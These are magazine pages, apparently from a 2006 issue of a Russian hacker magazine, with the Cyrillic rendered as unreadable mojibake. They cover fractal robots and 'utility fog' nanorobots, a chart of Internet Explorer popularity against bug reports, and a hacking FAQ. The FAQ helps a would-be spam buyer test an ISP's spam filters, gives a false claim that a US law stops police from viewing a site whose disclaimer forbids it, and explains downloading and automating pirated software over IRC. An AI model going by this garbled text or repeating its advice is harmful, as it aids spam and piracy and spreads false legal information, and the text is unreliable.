îïóõîëü, îòðåæåò åå è èçîëèðóåò îò îðãàíèçìà. Ïðèêðóòèâ ê ôðàêòàëüíîìó õèðóðãó ìèêðîâèäåîêàìåðó, ïîëó÷èì öåííåéøèé ìåäèöèíñêèé èíñòðóìåíò, êîòîðûé â òî æå âðåìÿ ìîæíî ñäåëàòü ñèñòåìîé òåëåïðèñóòñòâèÿ! Åùå ìåíüøå êóáèê — è ìîæíî äåëàòü îïåðàöèè íà îòäåëüíûõ êëåòêàõ. Èëè ñðàæàòüñÿ ñ àìåáàìè è èíôóçîðèÿìè ïîä ìèêðîñêî-

ÓÄÀËÎÑÜ ÑÄÅËÀÒÜ ×ÅÐÂßÊÀ, ÊÎÒÎÐÛÉ ÈÇ ÀÍÀËÎÃÈ×ÍÛÕ ÐÀÇÁÐÎÑÀÍÍÛÕ ÊÓÁÈÊΠÑÎÁÈÐÀÅÒ ÑÂÎÈ ÊÎÏÈÈ ïîì èëè â òåëåî÷êàõ âèðòóàëüíîé ðåàëüíîñòè, ñâÿçûâàþùèõ òåáÿ ñ ðîáîòîì-÷åðâÿêîì.

11. Íåêîòîðûå òèïû ôðàêòàëüíûõ ðîáîòîâ óæå ñêîíñòðóèðîâàíû. Äàæå óäàëîñü ñäåëàòü ÷åðâÿêà, êîòîðûé èç àíàëîãè÷íûõ ðàçáðîñàííûõ êóáèêîâ ñîáèðàåò ñâîè êîïèè! Òî åñòü, íàäåëàâ êóáèêîâ-áëîêîâ è ðàññûïàâ èõ ïî ïîëó,

XÀÊÅÐ 02 /86/ 06


2. Ñîáñòâåííî ìèíîãà (ðûáà, à íå êèáîðã)

3. Ìîáèëüíûé ðîáîò Khepera — îñíîâà êèáîðãà

13. Ôîãëåòû ñîáèðàþòñÿ â áëîê

12. Ôîãëåò — ÷àñòèöà «óìíîãî» òóìàíà

8. Ñòðåëêà — îäíà èç ìîäåëåé ÃÎËÅÌÀ â æåëåçå

11. Ôðàêòàëüíûé ðîáîòõèðóðã

5. Ñîâðåìåííûå ñèñòåìû master-slave

6. Òåëåïðèñóòñòâèå áóäóùåãî

4. Îäíà èç ïåðâûõ ñèñòåì òåëåïðèñóòñòâèÿ

1. Ðîáîò Darwin VII ñ íåéðîííûì «ìîçãîì»

XÀÊÅÐ 02 /86/ 06

7. Êàê óñòðîåí ÃÎËÅÌ

10. Áûñòðîñáîðíûé ìîñò

9. Ôðàêòàëüíûé ðîáîò

051


ÈÌÏËÀÍÒ ///// ISSUE

ÂÑÅ ÍÎÂÎÅ, ÍÅ ÓÊËÀÄÛÂÀÞÙÅÅÑß Â ÐÀÌÊÈ ÎÁÛ×ÍÛÕ ÏÐÅÄÑÒÀÂËÅÍÈÉ Î ÌÈÐÅ, ÑÍÀ×ÀËÀ ÍÅ ÂÎÑÏÐÈÍÈÌÀÅÒÑß ÊÀÊ ÏÐÎÃÍÎÇ ÁÓÄÓÙÅÃÎ ìîæíî ÷åðåç ÷àñ-äðóãîé ëèöåçðåòü öåëóþ àðìèþ îäèíàêîâûõ ÷åðâÿêîâ.  ÍÅÄÀËÅÊÎÌ ÁÓÄÓÙÅÌ … Êëýéòðîíèêà — íîâàÿ îáëàñòü â íàóêå è òåõíîëîãèè, ïîçâîëÿþùàÿ ñîáèðàòü ðàçëè÷íûå ïðåäìåòû èç îòäåëüíûõ óíè-

ìàçîèäíûé íàíîáëîê ðàçìåðàìè 20õ20õ20 ñàíòèìåòðîâ. Äëÿ ïðîèçâîäñòâà êîíñòðóêòèâíîãî òóìàíà (ýòîò òåðìèí Ñòîððñ Õîëëà ìû áóäåì èñïîëüçîâàòü è äàëåå ïðè îïèñàíèè êëýéòðîííûõ ñèñòåì) íà òàêóþ âåùü, êàê, íàïðèìåð, ñòóë ïîò-

 ÄÀËÅÊÎÌ ÁÓÄÓÙÅÌ ÑÎÇÄÀÍÈÅ ÍÀÍÎÐÎÁÎÒΠÌÎÆÅÒ ÁÛÒÜ ÄÎÂÎËÜÍÎ ÍÅÄÎÐÎÃÈÌ

âåðñàëüíûõ ñòðîèòåëüíûõ áëîêîâ ìèêðîñêîïè÷åñêèõ ðàçìåðîâ (clay — ãëèíà, claytronics — «óìíàÿ ãëèíà»). Êàê òû óæå ïîíÿë, ýòî òåñíî ñâÿçàíî ñ ôðàêòàëüíûìè ðîáîòàìè âîîáùå. Ïåðñïåêòèâû ïðèìåíåíèÿ êëýéòðîíèêè âåëèêè: îò óíèâåðñàëüíûõ âåùåé äî ñîçäàíèÿ ïåðñîíàëüíûõ òåðìèíàòîðîâ èç æèäêîãî ìåòàëëà.  íåäàëåêîì áóäóùåì (ñêàæåì, â 2030—2040 ãîäàõ) ñ ïîÿâëåíèåì íàíîôàáðèê íàíîðîáîòû ñòàíóò òàêèì æå äîñòóïíûì è íåäîðîãèì ïðîäóêòîì, êàê, ê ïðèìåðó, ñåðèéíî âûïóñêàåìûå ìèêðîñõåìû. Ïîýòîìó íåòðóäíî ïðåäñòàâèòü ñåáå òó÷ó íàíîðîáîòîâ-êóáèêîâ, ñîñòàâëÿþùèõ òàêóþ «ãðÿçü» ñ èçìåíÿåìîé ôîðìîé, êîòîðûå ïåðåñòðàèâàþòñÿ ïî êîìàíäå þçåðà. Àëãîðèòì ðàáîòû òàêèõ óñòðîéñòâ ðàçðàáîòàí è íå ïðåäñòàâëÿåò îñîáîé òðóäíîñòè. Ðîññèéñêèìè ñïåöèàëèñòàìè äàæå ðàçðàáîòàíà îáùàÿ òåîðèÿ è ìàòåìàòè÷åñêàÿ ìîäåëü ìíîãîçâåííûõ ðîáîòîâ (à èõ íàçûâàþò èíîãäà è òàê). Íî äëÿ òîãî ÷òîáû ñîáðàòü õîòÿ áû ìîáèëüíûé òåëåôîí èëè ñòóë, ïîòðåáóåòñÿ î÷åíü áîëüøîå êîëè÷åñòâî ðîáîòîâ-íàíîáëîêîâ. Âðÿä ëè òàêîå óñòðîéñòâî áóäåò äåøåâûì äàæå ïðè èñïîëüçîâàíèè íàíîôàáðèê ïîâñåìåñòíî, ïîñêîëüêó íàíîôàáðèêè ñîáèðàþò ãîòîâûé ïðîäóêò èç ìîëåêóëñûðüÿ, êîòîðûå áóäóò èìåòü îïðåäåëåííóþ ñòîèìîñòü, è ïðè ðàáîòå ïîòðåáëÿþò îêîëî 250 êèëîâàòò â ÷àñ ýëåêòðîýíåðãèè, ïðîèçâîäÿ ãîòîâûé àë-

052

ðåáóåòñÿ çàïëàòèòü íåìàëóþ ñóììó. Íî, åñòåñòâåííî, òîò æå ñòóë ìîæíî áóäåò ïåðåïðîãðàììèðîâàòü è â ïåðñîíàëüíûé àâòîìîáèëü, è â ìîáèëüíûé òåëåôîí, è â ðîáîòà-àíäðîèäà, íàêîíåö.

12. Êîíå÷íî, â äàëåêîì áóäóùåì ñîçäàíèå íàíîðîáîòîâ ìîæåò áûòü äîâîëüíî íåäîðîãèì, ïîýòîìó ìîæíî ñåáå ïðåäñòàâèòü ÷åëîâåêà áóäóùåãî, âîêðóã êîòîðîãî íîñèòñÿ ïåðñîíàëüíûé «êîíñòðóêòèâíûé ðîé». Íî, ñêîðåå âñåãî, òàêèå ðîè áóäóò áàçèðîâàòüñÿ â ñïåöèàëüíûõ ïóíêòàõ ïîëüçîâàíèÿ: äîìà, íà ðàáîòå è ïð., à ñ ñîáîé homo futurus âîçüìåò 100—200 ãðàììîâ. 13. Îñòàíîâèìñÿ íà òåõíè÷åñêîì îïèñàíèè «êîíñòðóêòèâíîãî òóìàíà» îò Ñòîððñ Õîëëà, àâñòðàëèéñêîãî ó÷åíîãî, êîòîðûé ïåðâûì ïðåäëîæèë ïîäîáíûå ñèñòåìû. Îñíîâà ëþáîé êëýéòðîííîé ñèñòåìû — áàçîâûé êèðïè÷èê-íàíîðîáîò. È ÷åì ìåíüøå ïî ðàçìåðó áóäóò êèðïè÷èêè, òåì áîëåå ñëîæíûå âåùè ìîæíî áóäåò èç íèõ ñîáðàòü. Êàæäûé íàíîðîáîò-áëîê, íàçûâàåìûé ôîãëåò (foglet — ÷àñòèöà êîíñòðóêòèâíîãî òóìàíà — utility fog), èìååò ðàçìåð îêîëî 100 ìèêðîí â äèàìåòðå. Ôîãëåò ñîñòîèò èç ÿäðà, â êîòîðîì ðàçìåùåí öåíòðàëüíûé ïðîöåññîð, è òåëåñêîïè÷åñêèõ ìàíèïóëÿòîðîâ. Ïîòðåáëÿåò òàêîå óñòðîéñòâî îêîëî îäíîãî ìèëëèâàòòà íà êóáè÷åñêèé ìèêðîí îáúåìà.

Öåíòðàëüíîå ÿäðî íàíîðîáîòà ñôåðè÷åñêîé ôîðìû äèàìåòðîì 10 ìèêðîí. Äëÿ ñðàâíåíèÿ: äèàìåòð ýðèòðîöèòà (êðàñíîé êðîâÿíîé êëåòêè) ñîñòàâëÿåò 8 ìèêðîí. Ìàññà ôîãëåòà — 20 ìèêðîãðàììîâ, è â òåîðèè îí ñîñòîèò èç 5 êâàäðèëëèîíîâ (íó, î÷åíü ìíîãî) àòîìîâ. Åñëè åùå ó÷åñòü òî, ÷òî ôîãëåòû ïëàíèðóåòñÿ èçãîòàâëèâàòü èç àëìàçîèäà, òî æåñòêîñòü êîíñòðóêòèâíîé ïûëè, ñîáðàííîé, íàïðèìåð, â ñòåðæåíü, áóäåò ñîïîñòàâèìà ñ æåñòêîñòüþ òàêîãî æå àëìàçíîãî ñòåðæíÿ. Êîíñòðóêöèÿ ìàíèïóëÿòîðîâ è óíèâåðñàëüíûõ ñîåäèíåíèé ïðåäïîëàãàåò íå òîëüêî ìåõàíè÷åñêóþ ñâÿçü, íî è ïåðåäà÷ó ýíåðãèè è èíôîðìàöèè. Òàêèì îáðàçîì, ôîãëåòû áóäóò ñâÿçàíû â åäèíóþ èíôîðìàöèîííóþ ñåòü. Êàê ãîâîðèò Ñòîððñ Õîëë, íà îñíîâå ôîãëåòîâ ìîæíî ïðåäñòàâèòü äèñïëåè, ñîáèðàþùèåñÿ ïðÿìî íà ãëàçàõ, à òàêæå ðîëü ïèêñåëåé, â êîòîðûõ áîëüøîå çíà÷åíèå èìåþò ôîãëåòû-íàíîðîáîòû. Íàáîð ñåíñîðîâ è íàíîêîìïüþòåð íà áîðòó êàæäîãî ôîãëåòà ïîçâîëÿò èñïîëüçîâàòü êîíñòðóêòèâíûé òóìàí â êà÷åñòâå õðàíèòåëÿ èíôîðìàöèè è ñðåäñòâà êîììóíèêàöèè. Ïðåäïîëàãàåòñÿ, ÷òî èíòåðôåéñ «÷åëîâåê — êîíñòðóêòèâíûé òóìàí» áóäåò îñíîâàí íà ïîëó÷åíèè ñèãíà-

Ñêîðåå âñåãî, ñáîðêà ôîãëåòîâ áóäåò ïðîèñõîäèòü ïîä âîçäåéñòâèåì ëîêàëüíûõ ýëåêòðîñòàòè÷åñêèõ ïîëåé, êîòîðûå áóäóò ïðèòÿãèâàòü ñëèøêîì îòäàëåííûå ÷àñòè÷êè òóìàíà. Îäíàêî íà áîëüøîì ðàññòîÿíèè ýòî ðàáîòàòü íå áóäåò, ïîýòîìó êîíñòðóêòèâíûé òóìàí áóäåò íå ñîâñåì «òóìàíîì». Âåðîÿòíî, ýòî áóäåò êîìîê íàíîñòðóêòóð, ïëàâíî èçìåíÿþùèõ ñâîþ ôîðìó. Èíà÷å íàíîðîáîòàì ïðèäåòñÿ ïðåîäîëåâàòü îãðîìíûå ïî ìèêðîìàñøòàáàì ðàññòîÿíèÿ. Äëÿ ýòîãî ïðèäåòñÿ èõ îñíàñòèòü ñèñòåìàìè íàâèãàöèè â ïðîñòðàíñòâå è ñäåëàòü ìîáèëüíûìè. À ýòî äîñòàòî÷íî òðóäíî è íåöåëåñîîáðàçíî. Òàê ÷òî òó÷åê, ñêëàäûâàþùèõñÿ â ëþäåé, ñòóëüÿ è ìîáèëêè, íå áóäåò. Åñòåñòâåííî, ÷òî âñå íîâîå, íå óêëàäûâàþùååñÿ â ðàìêè îáû÷íûõ ïðåäñòàâëåíèé î ìèðå, ñíà÷àëà íå âîñïðèíèìàåòñÿ êàê ïðîãíîç áóäóùåãî. Ôàíòàñòàì ïðîøëîãî âåêà áûëî ïðîùå çàãëÿäûâàòü íà íåñêîëüêî ëåò âïåðåä. Ñîâðåìåííûå æå ýòîãî íå ìîãóò ñäåëàòü, òàê êàê íåèçâåñòíî, êàê èçìåíèòñÿ ìèð ïîñëå î÷åðåäíîé íàó÷íî-òåõíè÷åñêîé ðåâîëþöèè. Ìîæåò, òû è íå çíàë î ïîäîáíûõ ðîáîòàõ äî ýòîé ñòàòüè. Ìîæåò, çíàë è ïîëó÷èë åùå áîëüøå èíôîðìàöèè î íèõ. Âîçìîæíî, ëåò ÷åðåç 30 èõ áóäóò ïðîäàâàòü íà ðàçâåñ â ëþáîì ìàãàçèíå. À ìîæåò, íå áóäóò, ïîòîìó ÷òî ìû âñå çàâèñíåì â ìàòðèöå.

ÑÁÎÐÊÀ ÔÎÃËÅÒΠÁÓÄÅÒ ÏÐÎÈÑÕÎÄÈÒÜ ÏÎÄ ÂÎÇÄÅÉÑÒÂÈÅÌ ËÎÊÀËÜÍÛÕ ÝËÅÊÒÐÎÑÒÀÒÈ×ÅÑÊÈÕ ÏÎËÅÉ, ëîâ òðàíñôîðìàöèè íåïîñðåäñòâåííî îò íåðâíûõ ñèãíàëîâ ìîçãà. Ýòî ñòàíåò âîçìîæíûì áëàãîäàðÿ èìïëàíòàì íà îñíîâå íåéðî÷èïîâ èëè æå íà àíàëèçå è äåøèôðîâêå ñëàáûõ ýëåêòðîìàãíèòíûõ ïîëåé àêòèâíîñòè ãîëîâíîãî ìîçãà òåì æå «êîíñòðóêòèâíûì òóìàíîì».

BINARY YOUR’S z

XÀÊÅÐ 02 /86/ 06


ÕÀÊÅÐ ÐÀÑÑÊÀÇÛÂÀÅÒ ///// ISSUE

Ïî÷òè êàæäûé äåíü â áàãòðàêàõ ïîÿâëÿþòñÿ ñîîáùåíèÿ îá îøèáêàõ â áðàóçåðàõ. Êàêèå-òî áàãè áîëåå îïàñíû, êàêèå-òî — ìåíåå; äëÿ íåêîòîðûõ èç íèõ åñòü ïóáëè÷íûå ñïëîèòû, äëÿ íåêîòîðûõ ýêñïëîéòîâ íåò. Íî âñå ýòè ñîîáùåíèÿ î÷åíü ÿâñòâåííî îòðàæàþòñÿ â ñòàòèñòèêå èñïîëüçîâàíèÿ òåõ èëè èíûõ áðàóçåðîâ. Òùàòåëüíî ïðîàíàëèçèðîâàâ äàííûå çà 4 ãîäà, ìû ñîñòàâèëè äèàãðàììó, êîòîðàÿ ïðåäåëüíî ÷åòêî îòðàæàåò ñèòóàöèþ, êîòîðàÿ ñêëàäûâàåòñÿ ïîñëå âûõîäà î÷åðåäíîãî áðîíåáîéíîãî ýêñïëîéòà äëÿ IE.

2002 ãîä Íà ñìåíó IE 5 ïðèõîäèò øåñòàÿ âåðñèÿ, â ñåðåäèíå 2002 ãîäà IE 6.0 ñòàíîâèòñÿ ñàìûì ïîïóëÿðíûì áðàóçåðîì. Áîëüøîå ÷èñëî áàãîâ è ëó÷øàÿ ïîääåðæêà IE 6.0 òîëüêî óñêîðÿþò ïðîöåññ ñìåíû ïîêîëåíèé. Àëüòåðíàòèâíûå áðàóçåðû òàêæå ñäàþò ïîçèöèè.

053

2003 ãîä  òå÷åíèå ãîäà IE 6.0 áûñòðî íàáèðàåò îáîðîòû. Äàæå êó÷à ïîÿâëÿþùèõñÿ áàãîâ íå ìîæåò îñòàíîâèòü ýòîò ðîñò. Òîëüêî â êîíöå ãîäà, ïîñëå ïóáëèêàöèè íåñêîëüêèõ ñîîáùåíèé î ñåðüåçíûõ îøèáêàõ, ïðîèñõîäèò ïàäåíèå ïîïóëÿðíîñòè.

2004 ãîä

2005 ãîä

2006 ãîä — ïðîãíîç

 òå÷åíèå ãîäà îïóëÿðíîñòü IE 6.0 ðåçêî íå êîëåáëåòñÿ. Ïîÿâëÿþòñÿ ñîîáùåíèÿ îá îøèáêàõ, íî þçåðîâ ýòî íå áåñïîêîèò. Ïîñëå âûõîäà SP2 íàáëþäàåòñÿ çàìåòíûé ðîñò ïîïóëÿðíîñòè, êîòîðûé ñäåðæèâàåòñÿ íîâûìè ñîîáùåíèÿ î áàãàõ óæå â ñàìîì ñåðâèñ-ïàêå.

Ïîñëå îáíàðóæåíèÿ ìíîæåñòâåííûõ óÿçâîìèñòåé â IE 6.0 ìíîãèå ïîëüçîâàòåëè ïåðåêëþ÷àþòñÿ íà àëüòåðíàòèâíûå áðàóçåðû — ãëàâíûì îáðàçîì íà Firefox.  òå÷åíèå ëåòà 2005 íàáëþäàåòñÿ ðîñò ïîïóëÿðíîñòè IE 6.0. Ñîîáùåíèÿ î ñåðüåçíåéøèõ îøèáêàõ â ñåíòÿáðå, íîÿáðå è äåêàáðå 2005 ãîäà ðóøàò ïîïóëÿðíîñòü IE.

Ìîæíî íå ñîìíåâàòüñÿ, ÷òî â 2006 ãîäó íà ñìåíó IE 6.0 ïðèéäåò îñåë 7-é âåðñèè. Òàê æå íàìåòèëàñü òåíäåíöèÿ ê ðîñòó ïîïóëÿðíîñòè FireFox.  îòäåëüíûõ ñòðàíàõ óæå áîëüøå ÷åòâåðòè þçåðîâ îòäàþò ïðåäïî÷òåíèå èìåííî ýòîìó áðàóçåðó. Äóìàåòñÿ, ÷òî âñÿ secure’íîñòü ñåäüìîãî îñëà îñòàíåòñÿ òîëüêî â ïðåññ-ðåëèçàõ ìàéêðîñîôò.

XÀÊÅÐ 02 /86/ 06


ÂÇËÎÌ /////FAQ PC_ZONE ///// ISSUE

hack_FAQ comments:

SIDEX: hack-faq@real.xakep.ru _vzlom

HACK-FFAQ Q: Ìíå ïðåäëàãàþò ðàññûëêó ñïàìà ïî áàçå îäíîãî êðóïíîãî ðåãèîíàëüíîãî ïðîâàéäåðà. Êàê óáåäèòüñÿ, ÷òî çàêàç áóäåò ýôôåêòèâ íûì è ìåíÿ ïîïðîñòó íå îòäîÿò? A: Íåïðèñòóïíîñòü ñâîåãî âûìåíè ïðè çàêàçå ðàññûëîê ìîæíî ïðîâåðèòü íåñêîëüêèìè ñïîñîáàìè. Ãëàâíûì îáðàçîì ìîæíî ïîíÿòü, êàêèì ñîôòîì îáîðîíÿåòñÿ ïðîâàéäåð íà ñåòåâîì óðîâíå. Óçíàòü ýòî ìîæíî ïîïûòàâøèñü îòïðàâèòü ïèñüìî ñëó÷àéíîìó þçåðó ñ ñóáæåì òèïà Porn for free! Lolitas! Anal! Cumshots, 99% ñïàìôèëüòðîâ îòñåêóò åãî, âûäàâ ñåðâåðíîå ñîîáùåíèå î íåæåëàòåëüíîñòè îòïðàâëåííîãî ïèñüìà â Ñåòè.  áîëüøèíñòâå ñëó÷àåâ îòâåò áóäåò ïîäïèñàí íàçâàíèåì ñîôòèíû. Íà ñàéòå ñîôòà áóäåò íàïèñàíî, êàêàÿ RBL-áàçà äàííûõ ïîëüçóåòñÿ. Òåïåðü âîïðîñû çàäàþòñÿ îðãàíèçàòîðó ðàññûëêè: ñ êàêèõ ñåòåâûõ òî÷åê áóäåò ïðîèçâîäèòüñÿ ðàññûëêà? Ïîëó÷åííûå àäðåñà ïðîâåðÿþòñÿ ïî òîé RBL-áàçå, ÷òî ïðèâÿçàíà ê àíòè-ñïàì ñîôòó ïðîâàéäåðà. Åñëè ó òåáÿ ñ îðãàíèçàòîðîì ÷åëîâå÷åñêèå îòíîøåíèÿ, òî îí ñìîæåò ïîäòâåðäèòü äååñïîñîáíîñòü ñâîèõ òî÷åê ïðåäîñòàâëåíèåì ëîãîâ îòïðàâêè, êîòîðûå áóäóò ñîäåðæàòü ñåòåâûå äèàëîãè âðîäå «OK… Sent». Ýòî ïîìîæåò è ñàìîìó ñïàìåðó ïîíÿòü íåðàáîòîñïîñîáíîñòü ðÿäà ñâîèõ ïðîèçâîäñòâåííûõ ìîùíîñòåé â îòíîøåíèè ðàññûëîê ïî êîíêðåòíîìó ïðîâàéäåðó. Ïîíÿòíî, ÷òî ôèëüòðàìè íà ISP-óðîâíå äåëî íå îãðàíè÷èâàåòñÿ. Ìîãóò è êîíå÷íûå ïîëüçîâàòåëè ñðóáàòü ðåêëàìó ëîêàëüíûìè ôèëüòðàìè, íî ýòî îñòàåòñÿ ðåäêîñòüþ. Êîìïàíèè æå ÷àùå è ÷àùå ñíàðÿæàþòñÿ ñïåöèàëüíûì ñîôòîì. Åñëè ðàññûëêà ïëàíèðóåò ïîêðûòü ìíîæåñòâî þçåðîâ êîíêðåòíîé ôèðìû, òî ëîãè÷íî óçíàòü îá èñïîëüçóåìîì òàì àíòè-ñïàì ñîôòå.

054

Q: Êàê áîðþòñÿ ñî ñïàìîì ÷åðåç ïîäòâåðæäåðîáîòîâ? íèå îòïðàâèòåëÿ äëÿ îòñå÷êè ñïàì-ð Ýôôåêòèâíî ëè ýòî? A: Ïîäòâåðæäåíèå (verification) ìîæåò ïðîèñõîäèòü ñëåäóþùèì îáðàçîì. Òû îòïðàâëÿåøü ìýéë, îí çàñòðåâàåò íà ñåðâåðå ïîëó÷àòåëÿ, îòêóäà ïðèõîäèò îòâåò ñ ïðîñüáîé î ïîäòâåðæäåíèè.  ïèñüìå ñîäåðæèòñÿ ëèíê, êóäà òåáå íàäî çàëåçòü è ââåñòè ÷èñëî/ñëîâî ñ êàðòèíêè. Ñèñòåìà ðàáîòàåò áåçóïðå÷íî, îòå÷åñòâåííûé WinAntiSpam è çàïàäíûé Spaminterceptor ìîãóò ñòàòü ïðèìåðîì. Ñèñòåìà î÷åíü äîòîøíà è ìíîãèå çàêîííûå îòïðàâèòåëè ïèñåì ïðîñòî ëåíÿòñÿ ëàçàòü ïî ëèíêàì äëÿ ïîäòâåðæäåíèÿ. Ïðè âõîäå â áàíê âñåõ ðàçäåâàëè íàãîëî, ÷òîáû óäîñòîâåðèòüñÿ, íå èìååò ëè ïîñåòèòåëü ïðè ñåáå îðóæèÿ è äóðíûõ íàìåðåíèé, òàê êàê ïðîòèâ ãðàáèòåëåé è ñïàìà îáå ñèñòåìû ðàáîòàþò íà óðà, íî ñ çàêîííûìè ïîñåòèòåëÿìè è îòïðàâèòåëÿìè ìîãóò áûòü ÷åðåñ÷óð ñóðîâû. Ïîðîé þçåðû ïðîñòî íå èìåþò äîñòóïà ê èíåòó ïðè îòïðàâêå ïèñüìà, è êîðïîðàòèâíûé VPN íå ïóùàåò âî âíåøíèå ïðîñòîðû èëè æå ïèñüìî âîâñå îòïðàâëÿåòñÿ ÷åðåç äîèñòîðè÷åñêóþ ñåòü, èçîëèðîâàííóþ îò èíåòà — X25 èëè FTN. ñàéQ: Ìîãó ëè ÿ çàïðåòèòü äîñòóï ê ñâîåìó âåá-ñ òó äëÿ ÷åêèñòîâ è ïðî÷èõ íåæåëàííûõ ãîñòåé? A: Ñòîèò çàìåòèòü, ÷òî þðèäè÷åñêàÿ áàçà 90% ñòðàí ìèðà â îòíîøåíèè Èíòåðíåòà äàëåêà îò ñîâåðøåíñòâà. Ãîâîðèòü îäíîçíà÷íî, ÷òî ìîé îòâåò ñðàáîòàåò âî âñåì ìèðå, — áóäåò îïàñíîé íåïðàâäîé. Äàâàé îñòàíîâèìñÿ íà Àìåðèêå, êîòîðàÿ ïûòàëàñü ïîäãîòîâèòü ñîîòâåòñòâóþùóþ áàçó ðàíåå äðóãèõ — åùå â äàëåêîì 1995 ãîäó; ýòà æå ñòðàíà íàèáîëåå àêòèâíî áîðåòñÿ ñ íà-

ðóøèòåëÿìè èíòåðíåò-ïðàâ. Ìîæíî îáðàòèòüñÿ ê The Internet Privacy Act’ó, ïîäïèñàííîìó Êëèíòîíîì, ëþáèòåëåì îðàëüíûõ óäîâîëüñòâèé. Ýòà òåëåãà çà íîìåðîì 431.322.12 íå ïîçâîëÿåò ãîñóäàðñòâåííûì ðàáîòíèêàì, â ÷àñòíîñòè ïîëèöèè è ñïåöñëóæáàì, ïîñåùàòü òâîé ðåñóðñ, åñëè òû òîãî íå æå��àåøü. Ýòî ðàáîòàåò ïî ïðèíöèïó àìåðèêàíñêîãî ãðàæäàíñêîãî çàêîíîäàòåëüñòâà, êîòîðîå óòâåðæäàåò, ÷òî ïîëèöåéñêèé íå ìîæåò ëãàòü. Äàæå ðàáîòàÿ ïîä ïðèêðûòèåì, îáÿçàí îòâåòèòü, ÷òî îí èç ïîëèöèè, åñëè î òîì åãî ïðÿìî ñïðîñèò ïîäîçðåâàåìûé. Ñîëãàâ, ÷åêèñò íå ñìîæåò èñïîëüçîâàòü äîáûòûå äàííûå ïðè ñóäåáíîì ðàçáèðàòåëüñòâå. Ñîñëàâøèñü íà äàííûé àêò â Disclamer’e ñàéòà, ìîæíî ðàññ÷èòûâàòü, ÷òî èíôà, íàéäåííàÿ íà ðåñóðñå, íå ñìîæåò áûòü èñïîëüçîâàíà â õîäå âîçìîæíîãî ïîñëåäóþùåãî ðàññëåäîâàíèÿ. Êîíå÷íî, ðåàëüíîñòü ìîæåò áûòü èíîé, è äàæå â ñàìîé Àìåðèêå ïðîéäåò òîò ôèíò, ÷òî íåêòî èç ïîñåòèòåëåé ñàéòà (íåñâÿçàííûé íàïðÿìóþ ñ ñèëîâèêàìè) âûñòóïèò ñâèäåòåëåì è ïîâåäàåò î ðàçâðàòå ñ âåá-ïàãè. Îá îñòàëüíûõ ñòðàíàõ è ãîâîðèòü íå ïðèõîäèòñÿ: î÷åíü íåìíîãèå íàéäóò êëèíòîíîâñêóþ òåëåãó ðàáî÷åé â ñâîåé ñîáñòâåííîé ñòðàíå. Çà ïðèìåðîì äèñêëàéìåðîâ ìîæíî ïðîãóëÿòüñÿ íà âàðåç-ñàéòû âðîäå isohunt.com è packetnews.com. Q: Êàê ñãðåáàòü âàðåç ÷åðåç BNC? A: Ëó÷øå âñåãî çàïóñòèòü íà BNC äðóçåé IRC-âàðåçíèêîâ, ïîäîæäàòü, ïîêà îíè íàêà÷àþò ñîôòà, à ïîòîì êîìôîðòíî ñêà÷èâàòü äîáðî ïî FTP. Ïîëó÷àåòñÿ òàê, ÷òî âñå DCC-ïîòîêè ñíà÷àëà óõîäÿò íà ñåðâåð, ãäå óñòàíîâëåí áàóíñåð, à ïîòîì óæå ïåðåïðàâëÿþòñÿ íà

XÀÊÅÐ 02 /86/ 06


êîìï þçåðà. Ïîëó÷àåòñÿ çàìåòíàÿ âûãîäà ïî ñêîðîñòè, è âûñàñûâàòü ñîôò íà OC12-òî÷êó óäàåòñÿ ãîðàçäî áûñòðåå, ÷åì íà 56K-äèàëàï. Áûâàåò, ÷òî èç îäíîãî â äðóãîé ñåãìåíò èíåòà âàðåç ïðîñòî íå ñäóâàåòñÿ ïî IRC — áîòû ïîðîé óñòàíàâëèâàþòñÿ â òàêèõ äåáðÿõ, ÷òî áåç ïîë-ëèòðà îòòóäà è áàéòà íå óñîñàòü. Ïîïðîáîâàâ êà÷àòü ñ ðàçíûõ BNC, âñåãäà ìîæíî íàéòè îäèí ðàáî÷èé. Ýòî óæå äðóãîé âîïðîñ, íî íàïîìíþ, ÷òî äëÿ óñòàíîâêè ñîôòèíû íóæåí ðàáî÷èé shell-àêêàóíò, ãäå ìîæíî áóäåò ïîâåñèòü ïðîöåññ â áýêãðàóíä è ãäå áóäåò äîñòàòî÷íî ìåñòà äëÿ ðàçìåùåíèÿ âñåãî âàðåçà. ß íå ïðîñëåæèâàþ ïîñëåäíèå òåíäåíöèè bnc-ïðîèçâîäñòâà, íî âñåãäà ðàáî÷èì âàðèíàòîì áûë PsyBNC (www.psychoid.net) — êà÷êà âàðåçêè áåç êàêèõ-ëèáî îñëîæíåíèé. Q: Áàóíñåðà ó ìåíÿ íåò, íî ÿ ãîðþ æåëàíèåì àâ òîìàòèçèðîâàòü ïîèñê è ñêà÷êó âàðåçà íà IRC! A: Ìíå õî÷åòñÿ ïîäñêàçàòü íåêîå óìíîå ðåøåíèå, ÷òîáû äîðîãîé ÷èòàòåëü àêòèâíåå ðàáîòàë ìîçãîì. Îäíàêî çà íàñ äàâíî óæå ïîðàáîòàëè, è äóìàòü íå ïðèõîäèòñÿ âîâñå. Ñîôò, ïðè÷åì õàëÿâíûé, íàïèñàí ïðàêòè÷åñêè ïîä ëþáûå ïîòðåáíûå è íåïîòðåáíûå íóæäû! Çäåñü ïîìîãàåò XDCCFetcher (xdccfetch.sourceforge.net), êîòîðûé ìîíèòîðèò âûáðàííûå òîáîé IRC-êàíàëû ïî òåìå îáúÿâëåíèÿ òàì æåëàííûõ âàðåç-ïàêîâ. Ïîñëå ïîÿâëåíèÿ ïðîãà àâòîìàòè÷åñêè âñòàåò â î÷åðåäü è íà÷èíàåò ñäóâàòü äîáðî. Ñèñòåìà çàìåòíî óñêîðÿåò ïðîöåññ è ñíèìàåò íåîáõîäèìîñòü îòñëåæèâàíèÿ íóæíûõ î÷åðåäåé è êîïàíèé â áóéíîé ïåñòðîòå ðåêëàìû IRC-êàíàëîâ. Äîáàâëþ, ÷òî ïðîãå ìîæíî íåìíîãî ïîìî÷ü ñ óòî÷íåíèåì ïàðàìåòðîâ ïîèñêà, èçó÷èâ ïðåäâàðèòåëüíî êàíàë, — ðåëèçû ìîãóò îò-

XÀÊÅÐ 02 /86/ 06

